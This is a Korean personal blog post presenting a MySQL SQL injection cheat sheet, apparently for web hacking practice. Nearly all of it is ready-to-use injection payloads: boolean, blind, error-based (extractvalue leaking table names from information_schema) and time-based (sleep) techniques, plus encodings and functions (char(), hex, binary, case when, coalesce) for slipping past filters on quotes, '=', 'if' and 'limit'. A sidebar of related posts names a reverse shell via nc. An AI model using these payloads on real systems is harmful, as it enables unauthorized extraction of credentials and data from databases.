Notice
Recent Posts
Recent Comments
Link
«   2024/07   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

kaka09

mysql용 SQLI 치트시트(계속 업데이트 예정) 본문

Web

mysql용 SQLI 치트시트(계속 업데이트 예정)

kaka09 2017. 9. 2. 20:13

걍 생각나는거 10가지..


1-0 boolean 기법

1-1 일반 문자열(쿼터)

1-2 char()기법

1-3 hex값 기법

1-4 binary 기법

1-5 cast 기법

1-6 if 기법

1-7 case when 기법

1-8 coleasce기법

1-9 비트연산 기법

1-10 @a 변수 기법


----boolean 기법-----

select id from login where id=''<1 limit 1,1;

select id from login where id=''=0 limit 1,1;

select id from login where id=''*1 limit 1,1;

select id from login where id=''&1 limit 1,1;

select id from login where id=''|0 limit 1,1;

-----------------------


--limit이 필터당하는 경우-----

select min(id) from login where id=''=0 

or

select min(id) from login where id=''=0 

max,min 보조함수 사용


select id from login where id not in((select max(id) from login),(select min(id) from login));

중간값 출력시 not in연산자 사용


select id from login where id='' union select group_concat(id) from login;

group_concat() 사용

-----------------------------

'," 필터당한 경우

select id from login where id='' or id=char(097,100,109,105,110);

select id from login where id='' or id=0x61646D696E;

select id from login where id='' or id=0b0110000101100100011011010110100101101110;



"="이 필터 당한 경우

select cast(id as char) from login where id like 0x61646D696E;

select cast(id as char) from login where id in(0x61646D696E);


@a 변수를 이용한 기법

select id from login where id ='' || (select @a:=id) union select @a;

select * from board where no=case when @t=1 then @e:=2 else @t:=1 end;

# @ 변수를 특정값으로 초기화 하면 바로 이용가능

  ex) @a:=1 일경우 @a에 1로 세팅되면서 즉시 @a를 이용가능



-----BLIND SQL INJECTION 기법------

select id from login where id='' || substr(id,1,1)=char(97);

select id from login where id='' || substr(id,1,1)=0x61;


비트연산 기법

select id from login where id='' || if(ascii(id,1,1)&$i<>0,1,0);

$i=1,2,4,8,16,32,64 거듭제곱을 이용하여 단 7번의 비교로 한 글자 추출 가능


ERROR BASED SQLINJECTION 기법

select id from login where id='' || if(substr((select id from login where id=0x61646D696E),1,1)='a',1,(select 1 union select 2));

select id from login where id='admin' and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)));

extract를 이용하여 서브쿼리의 결과를 에러메세지와 함께 강제로 출력됨


TIMEBASED SQLINJECTION 기법

select id from login where id='' || if(substr((select id from login where id=0x61646D696E),1,1)='a',1,sleep(1));


if 필터당한 경우

select id from login where id='' || case when(substr(id,1,1)=0x61) then 1 else 0 end;  

select id from login where id='' || coalesce(0/(select ascii(substr(id,1,1))&2<>0 from login where id='admin')<>0,1);

# coalesce($a,1) $a==NULL 이면 1을 반환 $a!=NULL 이면 $a를 반환

select id from login where id='' || ifnull(0/(select ascii(substr(id,1,1))&2<>0 from login where id='admin')<>0,1);

ifnull=coalesce 동일


'Web' 카테고리의 다른 글

리버스 쉘(nc via mkfifo)  (0) 2017.12.05
document.cookie bypass  (0) 2017.09.08
대충짜본 오라클 공격쿼리??(계속 업데이트 예정)  (0) 2017.09.02
PHP preg_replace e modifier 취약점  (0) 2017.08.04